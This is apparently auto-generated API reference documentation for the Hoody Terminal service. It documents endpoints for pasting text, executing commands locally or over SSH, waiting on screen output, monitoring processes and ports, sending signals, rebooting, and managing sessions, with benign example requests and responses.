Paste text into a terminal session with optional bracketed paste mode. When `bracketed=true` (default), the text is wrapped in bracketed paste escape sequences if the running program has enabled DECSET 2004 (e.g., `vim`, `zsh`), preventing auto-indent mangling and other paste artifacts. UTF-8 text including emoji and CJK is fully supported.


The envelope is only emitted when the running program has enabled DECSET 2004. The response's `bracketed_active` reflects whether libvterm actually emitted the envelope. `esc_neutralized` reports the count of input CSI-starter codepoints substituted with U+FFFD inside the envelope body to prevent an embedded end-marker from terminating the frame early.


### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `terminal_id` | query | string | Yes | Terminal session ID |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `text` | string | Yes | Text to paste (UTF-8) |
| `bracketed` | boolean | No | Use bracketed paste mode if the program supports it. Default: `true` |

```json
{
  "text": "git pull origin main\n",
  "bracketed": true
}
```

### Response



```json
{
  "terminal_id": 1042,
  "bytes_written": 1284,
  "bracketed_active": true,
  "esc_neutralized": 0
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Session not found"
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "session_readonly"
}
```


```json
{
  "statusCode": 413,
  "error": "Payload Too Large",
  "message": "Request body exceeds --max-body-size cap (default 8 MB)."
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Write to the session's PTY or socket failed, OR the per-request 1 MiB paste drain cap was hit."
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "VTerm memory cap exceeded"
}
```



### SDK

```ts
await client.terminal.terminalAutomation.pasteTerminalText({
  terminal_id: "1042",
  data: {
    text: "git pull origin main\n",
    bracketed: true
  }
});
```

## Synchronization

### `POST /api/v1/terminal/wait`

Block until a terminal condition is met, then return an atomic snapshot of the screen at the moment of resolution. The response includes a full snapshot for the `matched`, `stable`, `timeout`, and `exited` statuses so clients avoid a TOCTOU race between `wait` and a follow-up `/snapshot` call. The `vterm_reinit` status is the lone exception — it fires when the VT parser was torn down mid-wait (typically due to a memory-cap resize) and no coherent snapshot can be captured; the client should retry.


A maximum of 16 concurrent waiters per session is enforced. Excess waiters receive a 429.


### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `terminal_id` | query | string | Yes | Terminal session ID |

### Request Body

`pattern` is required when `mode` is `regex` or `either`.

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `mode` | string | No | Wait mode: `stable`, `regex`, or `either`. Default: `stable` |
| `debounce_ms` | integer | No | Stable mode debounce in milliseconds (10-60000). Default: `100` |
| `pattern` | string | No | PCRE2 regex pattern (required for `regex`/`either` modes, max 1024 bytes) |
| `timeout_ms` | integer | No | Hard deadline in milliseconds (10-300000). Default: `5000` |
| `search_scope` | string | No | Where to search: `screen`, `scrollback`, or `all`. Default: `screen` |
| `include_colors` | boolean | No | Include `colored_lines` in response snapshot. Default: `false` |
| `include_highlights` | boolean | No | Include highlights in response snapshot. Default: `true` |

```json
{
  "mode": "stable",
  "debounce_ms": 150,
  "timeout_ms": 5000
}
```

### Response



```json
{
  "status": "matched",
  "match": {
    "row": 3,
    "col": 0,
    "text": "build successful"
  },
  "snapshot": {
    "terminal_id": 1042,
    "sequence": 4312,
    "title": "make",
    "alt_screen": false,
    "lines": [
      "$ make build",
      "Compiling project v1.2.3...",
      "build successful"
    ]
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid parameters or regex"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Session not found"
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "method_not_allowed"
}
```


```json
{
  "statusCode": 413,
  "error": "Payload Too Large",
  "message": "Request body exceeds --max-body-size cap (default 8 MB)."
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Too many concurrent waiters"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Waiter could not be created (OOM)."
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "VTerm memory cap exceeded"
}
```



### SDK

```ts
const result = await client.terminal.terminalAutomation.waitForTerminal({
  terminal_id: "1042",
  data: {
    mode: "stable",
    debounce_ms: 150,
    timeout_ms: 5000
  }
});
```

---

# Terminal: Command Execution

**Page:** api/terminal/commands

[Download Raw Markdown](./api/terminal/commands.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Terminal: Command Execution API lets you run shell commands inside an existing terminal session, poll for their results, abort in-flight executions, and send raw keystroke input to a session's PTY. Use these endpoints to automate CLI workflows, drive interactive prompts, or orchestrate remote SSH commands from a backend or agent.

## Execute a command


Execute a command in the specified terminal session. Supports both local bash and remote SSH sessions. The terminal type is determined by URL parameters on first use. By default, if a `DISPLAY` is configured on the session, the endpoint waits for the Hoody Display to be ready before executing the command. This can be disabled with `skip_display_wait=true`. Use `ephemeral=true` for a guaranteed-unique isolated PTY session with no display/dbus and automatic cleanup — ideal for programmatic command execution (like `child_process.exec`). Returns immediately with a `command_id` that can be used to poll for results.


`POST /api/v1/terminal/execute`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | query | string | No | Terminal session ID (numeric 1-65535). Use `terminal_id=0` as an explicit sentinel meaning "no terminal ID" (treated as absent, useful when a reverse proxy always injects a `terminal_id`). Required unless `ephemeral=true`, in which case it is auto-generated if not provided. |
| `ephemeral` | query | boolean | No | When true, auto-generates a unique `terminal_id` (if not provided), skips display/dbus initialization, and applies aggressive cleanup. Designed for programmatic CLI command execution like `child_process.exec`. Default: `false`. **WARNING:** Do NOT use `ephemeral=true` for GUI applications that require a display. Ephemeral sessions strip the `DISPLAY` environment variable, which means X11/GUI applications will not work. Use a regular terminal session with an explicit `terminal_id` and `display` parameter instead for GUI workloads. |
| `defer_pid` | query | integer | No | Defer command injection until this PID exits (TUI-safe). If set, the API returns immediately regardless of `wait=true`. |
| `defer_start_time_ticks` | query | string | No | Optional `/proc/&lt;pid&gt;/stat` field 22 (starttime in clock ticks since boot) to avoid PID reuse bugs. If it mismatches, command executes immediately. |
| `defer_timeout_ms` | query | integer | No | Max time to wait for `defer_pid` exit before failing. Default: `60000`. |
| `defer_poll_ms` | query | integer | No | Poll interval while waiting for `defer_pid` exit. Default: `50`, minimum: `10`. |
| `reset` | query | boolean | No | Reset existing session and reconfigure (kills current process, clears state, allows switching from bash to SSH or changing any parameter). Use `'true'`, `'1'`, or no value. |
| `cwd` | query | string | No | Working directory for local bash sessions (ignored for SSH). |
| `cwd_auto_create` | query | boolean | No | Auto-create `cwd` when the requested working directory does not exist yet. Only applies when `cwd` is explicitly provided for a new or reset local session. Enable with `'true'`, `'1'`, or no value. Default: `false`. |
| `shell` | query | string | No | Shell to use for local sessions: `bash` (case-insensitive), `zsh`, `fish`, `sh`, etc. Default: server startup command, only applies to new sessions or after reset. |
| `user` | query | string | No | System user to spawn shell as (requires `su` permissions, only applies to new sessions or after reset). |
| `cmd` | query | string | No | Base64-encoded command to execute automatically (works with both new and active shells, executes every time URL is visited). |
| `env` | query | string | No | Environment variable in `KEY=VALUE` format (can be repeated for multiple variables, e.g., `?env=DEBUG=1&env=API_KEY=abc`). |
| `skip_display_wait` | query | boolean | No | Skip waiting for Hoody Display readiness before executing command. By default, if a `DISPLAY` is configured, the endpoint blocks until the display server on port `4000+display_num` is ready. Default: `false`. |
| `display_wait_timeout` | query | integer | No | Timeout in seconds for display readiness wait. Default: `10`, capped at 10 seconds to prevent event-loop pin; values `&le;0` or malformed also map to the 10-second cap. Ignored if `skip_display_wait=true`. |
| `display` | query | string | No | `DISPLAY` environment variable for X11 applications (auto-formats `:display` if number provided, e.g., `?display=1` becomes `DISPLAY=:1`). |
| `ssh_host` | query | string | No | SSH server hostname or IP address (creates SSH session if provided with `ssh_user`). |
| `ssh_user` | query | string | No | SSH username (required if `ssh_host` is provided). |
| `ssh_port` | query | string | No | SSH port number. Default: `22`. |
| `ssh_password` | query | string | No | SSH password for authentication (use with caution, prefer key-based auth). |
| `socks5_host` | query | string | No | SOCKS5 proxy hostname for SSH connection. |
| `socks5_port` | query | string | No | SOCKS5 proxy port. Default: `1080`. |
| `socks5_user` | query | string | No | SOCKS5 proxy username for authentication. |
| `ssh_key` | query | string | No | Base64-encoded SSH private key for key-based authentication (prefer over password-based auth). |
| `socks5_pass` | query | string | No | SOCKS5 proxy password for authentication. |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `command` | string | Yes | The command to execute. |
| `id` | string | No | Custom command ID (numeric 1-65535, auto-generated if not provided). |
| `timeout` | integer | No | Timeout in seconds (`0` = no timeout). Default: `0`. |
| `wait` | boolean | No | Whether to wait for completion. Default: `true`; forced `false` when `defer_pid` is set. |
| `cwd` | string | No | Working directory for command execution (for local bash only). |
| `env` | object | No | Environment variables as key-value pairs. |

```json
{
  "command": "ls -la",
  "timeout": 30,
  "wait": true
}
```

### Response



```json
{
  "command_id": "42",
  "status": "running"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid parameter"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid or missing parameters | Check parameter format and retry | Check parameter format and retry |
| `INVALID_TERMINAL_ID` | Terminal ID must be numeric (1-65535) | Provide valid terminal_id | Provide valid terminal_id |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Cannot create requested working directory"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CWD_PERMISSION_DENIED` | Requested working directory could not be created | Choose a writable path or disable `cwd_auto_create` | Choose a writable path or disable `cwd_auto_create` |


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "Request method is not POST"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Command execution failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `EXECUTION_FAILED` | Command execution failed | Check terminal session status | Check terminal session status |



### SDK Example

```typescript
const result = await client.terminal.execution.execute({
  terminal_id: "1",
  data: {
    command: "ls -la",
    timeout: 30,
    wait: true
  }
});
```

## Get command result

Retrieve the current or final results of a command execution. Can be called while a command is running or after completion.

`GET /api/v1/terminal/result/{command_id}`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `command_id` | path | string | Yes | Command ID returned from `/api/v1/terminal/execute` (numeric 1-65535). |

### Response



```json
{
  "command_id": "42",
  "status": "completed",
  "output": "total 12\ndrwxr-xr-x 3 user user 4096 Jan 15 10:30 .\ndrwxr-xr-x 5 user user 4096 Jan 15 10:29 ..",
  "exit_code": 0
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Command not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `COMMAND_NOT_FOUND` | Command ID does not exist | Verify command_id from execute response | Verify command_id from execute response |



### SDK Example

```typescript
const result = await client.terminal.execution.getResult({
  command_id: "42"
});
```

## Abort a running command

Cancel a command that was started via the execute endpoint. Graceful mode (default) sends `SIGINT` via the PTY (equivalent to Ctrl+C). Force mode sends `SIGKILL` to the process group. Partial output captured before abort is preserved in the response.


Idempotent: aborting an already-completed command returns 409 with the existing result. Known limitation: graceful abort may not stop processes that trap `SIGINT` — use `force=true` for those.


`POST /api/v1/terminal/execute/{command_id}/abort`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `command_id` | path | string | Yes | The command ID returned by the execute endpoint. |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `force` | boolean | No | Send `SIGKILL` to process group instead of `SIGINT`. Default: `false`. |

```json
{
  "force": false
}
```

### Response

```json
{
  "command_id": "42",
  "status": "aborted",
  "output": "partial output captured before abort",
  "exit_code": null
}
```

### SDK Example

```typescript
const result = await client.terminal.abort({
  command_id: "42",
  data: {
    force: false
  }
});
```

## Write input to terminal

Send keyboard input to a terminal session's PTY. The input is written directly to the PTY master fd, exactly as if typed on a physical keyboard. By default, Enter (newline) is automatically appended after the input. Set `enter=false` for raw input without Enter. Supports interactive prompts (y/n), sudo passwords, and any other stdin input. Use empty input `""` to just press Enter.

`POST /api/v1/terminal/write`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | query | string | Yes | Terminal session ID to write to. |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `input` | string | Yes | The text to type into the terminal. |
| `enter` | boolean | No | Auto-append Enter (newline) after input. Default: `true`. Set to `false` for raw keystroke input. |

```json
{
  "input": "y",
  "enter": true
}
```

### Response



```json
{
  "status": "ok",
  "bytes_written": 2
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Missing required field"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TERMINAL_ID` | `terminal_id` query parameter is required | `terminal_id` query parameter is required | Contact support |
| `MISSING_INPUT` | `input` field is required in request body | `input` field is required in request body | Contact support |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Terminal session not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SESSION_NOT_FOUND` | No terminal session with the given ID | No terminal session with the given ID | Contact support |


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "Request method is not POST"
}
```


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "No running process in session"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NO_PROCESS` | Terminal session has no running process to write to | Terminal session has no running process to write to | Contact support |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to write input to PTY"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `WRITE_FAILED` | Failed to write input to PTY | Failed to write input to PTY | Contact support |



### SDK Example

```typescript
const result = await client.terminal.write({
  terminal_id: "1",
  data: {
    input: "y",
    enter: true
  }
});
```

---

# Hoody Terminal

**Page:** api/terminal/index

[Download Raw Markdown](./api/terminal/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Hoody Terminal service provides a unified interface for executing commands, managing persistent sessions, and monitoring system resources. Whether you need to run one-off commands in isolated containers, stream interactive shell sessions over WebSocket, or inspect process and network activity, the Terminal API exposes a consistent set of endpoints backed by the Hoody daemon.

Use this section when you need to:

- Execute a command in a fresh or existing container and retrieve its output.
- List, inspect, or terminate long-running terminal sessions.
- Connect to a session interactively via WebSocket.
- Query the web terminal UI and explore the auto-generated API documentation.
- Monitor host resources such as CPU, memory, disk, processes, and listening ports.

## Available endpoints

The Terminal service is organized into the following sub-pages. Each page documents the operations, parameters, and response formats for that capability area.




Execute commands and retrieve results.

Run one-off or tracked commands inside containers, stream output, and poll for completion. Useful for automation, CI/CD pipelines, and scripted workflows.

[Open Command Execution →](/api/terminal/commands/)




List, inspect, connect via WebSocket, and manage sessions.

Enumerate active and historical terminal sessions, retrieve session metadata, attach a WebSocket client for real-time I/O, and terminate sessions that are no longer needed.

[Open Session Management →](/api/terminal/sessions/)




Access web-based terminal and API docs.

Retrieve the URL of the built-in web terminal interface and the auto-generated OpenAPI/Swagger documentation for the daemon's HTTP surface.

[Open Web UI & API Access →](/api/terminal/web-interface/)




Monitor resources, processes, and network ports.

Query host-level metrics including CPU, memory, and disk usage, list running processes, and inspect the set of listening network ports.

[Open System Monitoring →](/api/terminal/monitoring/)

---

# Terminal: System Monitoring

**Page:** api/terminal/monitoring

[Download Raw Markdown](./api/terminal/monitoring.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Terminal System Monitoring API exposes system-level operations on a Hoody node. Use these endpoints to inspect running processes, audit network listeners, query resource utilization, manage connected displays, and control system power. All endpoints require an authenticated Hoody session except `/api/v1/terminal/health`, which is unauthenticated and always returns 200 when the service is running.

## Service Health

### `GET /api/v1/terminal/health`

Returns the standardized 9-field health response. Always returns HTTP 200 with `application/json` when the terminal service is up. Unauthenticated.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/terminal/health
```


```typescript
const health = await client.terminal.health.check();
```


```json
{
  "status": "healthy",
  "service": "terminal",
  "version": "1.4.2",
  "uptime_seconds": 86400,
  "timestamp": "2025-01-15T10:30:00Z",
  "database": { "status": "ok", "latency_ms": 2 },
  "daemon": { "status": "ok" },
  "memory": { "used": 134217728, "total": 268435456 },
  "goroutines": 42
}
```



## System Resources

### `GET /api/v1/system/resources`

Returns comprehensive system statistics including CPU usage, memory, network interfaces, uptime, and disk usage.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/system/resources \
  -H "Authorization: Bearer <token>"
```


```typescript
const stats = await client.terminal.system.getResources();
```


```json
{
  "cpu": {
    "usage_percent": 12.5,
    "cores": 8,
    "load_average": [0.5, 0.7, 0.9]
  },
  "memory": {
    "total": 16777216000,
    "used": 8589934592,
    "free": 8187281408,
    "usage_percent": 51.2
  },
  "disk": {
    "total": 500107862016,
    "used": 250053931008,
    "free": 250053931008,
    "usage_percent": 50.0
  },
  "network": [
    {
      "name": "eth0",
      "bytes_sent": 1234567890,
      "bytes_received": 9876543210,
      "packets_sent": 8765432,
      "packets_received": 12345678
    }
  ],
  "uptime_seconds": 86400
}
```



## Daemon Programs

### `GET /api/v1/system/daemon`

Returns the JSON array of daemon programs from the `hoody-daemon` configuration.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/system/daemon \
  -H "Authorization: Bearer <token>"
```


```typescript
const daemons = await client.terminal.system.getDaemonConfig();
```


```json
[
  {
    "name": "hoody-daemon",
    "command": "/usr/local/bin/hoody-daemon",
    "autostart": true,
    "restart": "on-failure"
  },
  {
    "name": "kit-watchdog",
    "command": "/usr/local/bin/kit-watchdog",
    "autostart": true,
    "restart": "always"
  }
]
```



## Displays

### `GET /api/v1/system/displays`

Returns information about connected displays from the external display script.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/system/displays \
  -H "Authorization: Bearer <token>"
```


```typescript
const displays = await client.terminal.system.getDisplayInfo();
```


```json
[
  {
    "name": "DisplayPort-0",
    "resolution": "3840x2160",
    "position": [0, 0],
    "primary": true,
    "scale": 1.0,
    "refresh_rate": 60
  },
  {
    "name": "HDMI-A-1",
    "resolution": "1920x1080",
    "position": [3840, 0],
    "primary": false,
    "scale": 1.0,
    "refresh_rate": 60
  }
]
```



## Processes

### `GET /api/v1/system/processes`

Returns a JSON array of all processes with CPU, memory, and state information. Supports filtering, sorting, and limiting the result set.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `sort` | query | string | No | Sort by field. Allowed values: `cpu`, `memory`, `pid`, `name`. Default: `pid` |
| `limit` | query | integer | No | Maximum number of processes to return. Default: returns all |
| `filter` | query | string | No | Filter by process name (substring match, case-insensitive) |



```bash
curl -X GET "https://api.hoody.com/api/v1/system/processes?sort=cpu&limit=10&filter=nginx" \
  -H "Authorization: Bearer <token>"
```


```typescript
for await (const process of client.terminal.system.listProcessesIterator({
  sort: "cpu",
  limit: 10,
  filter: "nginx"
})) {
  console.log(process);
}
```


```json
[
  {
    "pid": 1234,
    "name": "nginx",
    "cpu_percent": 2.5,
    "memory_percent": 1.2,
    "state": "S",
    "command": "nginx: master process /usr/sbin/nginx"
  },
  {
    "pid": 1235,
    "name": "nginx",
    "cpu_percent": 0.8,
    "memory_percent": 0.6,
    "state": "S",
    "command": "nginx: worker process"
  }
]
```



### `GET /api/v1/system/processes/{pid}`

Returns detailed information about a specific process, including all stats, `cmdline`, environment, and open files.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `pid` | path | integer | Yes | Process ID |



```bash
curl -X GET https://api.hoody.com/api/v1/system/processes/1234 \
  -H "Authorization: Bearer <token>"
```


```typescript
const proc = await client.terminal.system.getProcess({ pid: 1234 });
```


```json
{
  "pid": 1234,
  "name": "nginx",
  "cmdline": "nginx: master process /usr/sbin/nginx -g daemon off;",
  "state": "S",
  "ppid": 1,
  "username": "root",
  "cpu_percent": 2.5,
  "memory_percent": 1.2,
  "memory_rss": 12582912,
  "memory_vms": 134217728,
  "create_time": "2025-01-15T08:00:00Z",
  "num_threads": 4
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Process 99999 not found",
  "code": "PROCESS_NOT_FOUND"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROCESS_NOT_FOUND` | Process does not exist | The requested PID is not running or has terminated | Check PID is valid and process is running |



## Network Ports

### `GET /api/v1/system/ports`

Returns a JSON array of all TCP/UDP listening ports, including process information. Supports extensive filtering to narrow the result set.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `protocol` | query | string | No | Filter by protocol: `tcp`, `udp`, or comma-separated list |
| `user` | query | string | No | Filter by user (exact match) |
| `port` | query | integer | No | Filter by specific port number |
| `ip` | query | string | No | Filter by IP address (comma-separated list) |
| `skip_program` | query | string | No | Exclude specific programs (comma-separated list) |
| `http_only` | query | boolean | No | Only return HTTP services |
| `hoody_only` | query | boolean | No | Only return Hoody Kit services |



```bash
curl -X GET "https://api.hoody.com/api/v1/system/ports?protocol=tcp&http_only=true&limit=50" \
  -H "Authorization: Bearer <token>"
```


```typescript
for await (const port of client.terminal.system.listPortsIterator({
  protocol: "tcp",
  http_only: true
})) {
  console.log(port);
}
```


```json
[
  {
    "protocol": "tcp",
    "port": 22,
    "address": "0.0.0.0",
    "state": "LISTEN",
    "pid": 890,
    "process": "sshd",
    "user": "root"
  },
  {
    "protocol": "tcp",
    "port": 80,
    "address": "0.0.0.0",
    "state": "LISTEN",
    "pid": 1234,
    "process": "nginx",
    "user": "www-data"
  },
  {
    "protocol": "tcp",
    "port": 443,
    "address": "0.0.0.0",
    "state": "LISTEN",
    "pid": 1234,
    "process": "nginx",
    "user": "www-data"
  }
]
```



## Process Signals

### `POST /api/v1/system/process/signal`

Send a Unix signal to one or more processes by PID or name. Supports all standard signals (`SIGTERM`, `SIGKILL`, `SIGSTOP`, `SIGCONT`, etc.). When targeting by `name`, the signal is sent to **all** matching processes.

This endpoint takes no path or query parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `pid` | integer | No | Process ID to signal (mutually exclusive with `name`) |
| `name` | string | No | Process name to signal &mdash; signals ALL matching processes (mutually exclusive with `pid`) |
| `signal` | string \| integer | No | Signal to send. String form accepts `SIGTERM`, `TERM`, `15`, etc. (with or without `SIG` prefix). Integer form accepts any value in `[0, NSIG)` including realtime signals `SIGRTMIN`..`SIGRTMAX` (typically 34..64 on Linux), which have no portable string names. |
| `force` | boolean | No | Shorthand for `SIGKILL` (`true`) or `SIGTERM` (`false`) &mdash; overrides the `signal` parameter |

```json
{
  "pid": 1234,
  "signal": "SIGTERM"
}
```


At least one of `pid` or `name` must be provided. Omitting both returns `MISSING_TARGET`. When both are provided, `pid` takes precedence.




```bash
curl -X POST https://api.hoody.com/api/v1/system/process/signal \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"pid": 1234, "signal": "SIGTERM"}'
```


```typescript
const result = await client.terminal.system.sendSignal({
  data: {
    pid: 1234,
    signal: "SIGTERM"
  }
});
```


```json
{
  "success": true,
  "signal": "SIGTERM",
  "pid": 1234,
  "timestamp": "2025-01-15T10:30:00Z"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Must specify pid or name",
  "code": "MISSING_TARGET"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TARGET` | Must specify pid or name | Neither `pid` nor `name` was provided in the request body | Provide either `pid` or `name` parameter |
| `INVALID_SIGNAL` | Invalid signal name | The signal value is not a recognized signal name or valid integer | Use valid signal (`SIGTERM`, `SIGKILL`, etc.) |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "No permission to signal process",
  "code": "PERMISSION_DENIED"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PERMISSION_DENIED` | No permission to signal process | The Hoody process does not have permission to signal the target process | Check process ownership |


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "Method GET not allowed",
  "allow": "POST"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to send signal",
  "code": "SIGNAL_FAILED"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SIGNAL_FAILED` | Failed to send signal | The signal could not be delivered to the target process | Check process exists |



## System Power

### `POST /api/v1/system/reboot`

Initiate a system reboot with optional delay. Requires root or sudo privileges &mdash; the Linux kernel enforces the permission check. Because `shutdown(8)` schedules in whole minutes, the server rounds the delay **up** to the nearest minute and reports the actual scheduled value as `effective_minutes` in the response.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `delay` | query | integer | No | Delay in seconds before reboot, range `0..86400`. Default: `0` (immediate) |



```bash
curl -X POST "https://api.hoody.com/api/v1/system/reboot?delay=60" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.terminal.system.reboot({ delay: 60 });
```


```json
{
  "success": true,
  "effective_minutes": 1,
  "scheduled_at": "2025-01-15T10:31:00Z"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Delay out of range (> 86400)",
  "code": "INVALID_DELAY"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Reboot requires root privileges",
  "code": "ROOT_REQUIRED"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `ROOT_REQUIRED` | Reboot requires root privileges | The Hoody process is not running as root or with sudo | Run with sudo or as root user |


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "Method GET not allowed",
  "allow": "POST"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to execute reboot",
  "code": "REBOOT_FAILED"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `REBOOT_FAILED` | Failed to execute reboot | The `shutdown` command could not start the reboot sequence | Check system logs |



### `POST /api/v1/system/shutdown`

Initiate a system shutdown with optional delay. Requires root or sudo privileges &mdash; the Linux kernel enforces the permission check. The delay is rounded up to the nearest minute by `shutdown(8)`, and the actual scheduled value is reported as `effective_minutes` in the response.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `delay` | query | integer | No | Delay in seconds before shutdown, range `0..86400`. Default: `0` (immediate) |



```bash
curl -X POST "https://api.hoody.com/api/v1/system/shutdown?delay=300" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.terminal.system.shutdown({ delay: 300 });
```


```json
{
  "success": true,
  "effective_minutes": 5,
  "scheduled_at": "2025-01-15T10:35:00Z"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Delay out of range (> 86400)",
  "code": "INVALID_DELAY"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Shutdown requires root privileges",
  "code": "ROOT_REQUIRED"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `ROOT_REQUIRED` | Shutdown requires root privileges | The Hoody process is not running as root or with sudo | Run with sudo or as root user |


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "Method GET not allowed",
  "allow": "POST"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to execute shutdown",
  "code": "SHUTDOWN_FAILED"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SHUTDOWN_FAILED` | Failed to execute shutdown | The `shutdown` command could not start the shutdown sequence | Check system logs |

---

# Terminal: Session Management

**Page:** api/terminal/sessions

[Download Raw Markdown](./api/terminal/sessions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Terminal: Session Management

The Terminal Session Management API provides endpoints for listing, creating, inspecting, and destroying terminal sessions, connecting to them via WebSocket, retrieving command history and raw output, and capturing screenshots of the terminal buffer.

---

### `GET` `/api/v1/terminal/sessions`

Returns a JSON array of all active terminal sessions with session metadata and recent command history (best-effort).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `history_limit` | query | integer | No | Max `command_history` entries to include per session (default: 50, max: 1000) |
| `history_lines` | query | integer | No | Alias of `history_limit` |

#### SDK Usage

```python
sessions = client.terminal.sessions.listIterator(
    history_limit=50,
)
```

#### Response



```json
[
  {
    "id": 1,
    "shell": "bash",
    "cwd": "/home/user",
    "started_at": "2025-01-15T10:30:00Z",
    "command_history": [
      "ls -la",
      "cd projects",
      "git status"
    ]
  },
  {
    "id": 2,
    "shell": "zsh",
    "cwd": "/var/log",
    "started_at": "2025-01-15T11:00:00Z",
    "command_history": [
      "tail -f syslog"
    ]
  }
]
```



---

### `POST` `/api/v1/terminal/create`

Create a new terminal session or return success if it already exists. By default, when a Hoody Display is configured, the endpoint blocks until the display TCP port (`4000 + display_number`) is accepting connections, ensuring the caller can immediately use the display after the response.

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `terminal_id` | string | No | Terminal session ID (numeric 1-65535). Required unless `ephemeral` is true, in which case it is auto-generated (range 40000-65535). |
| `ephemeral` | boolean | No | Auto-generate terminal ID and enable ephemeral session mode. Ephemeral sessions auto-clean after idle timeout and strip DISPLAY environment. (default: `false`) |
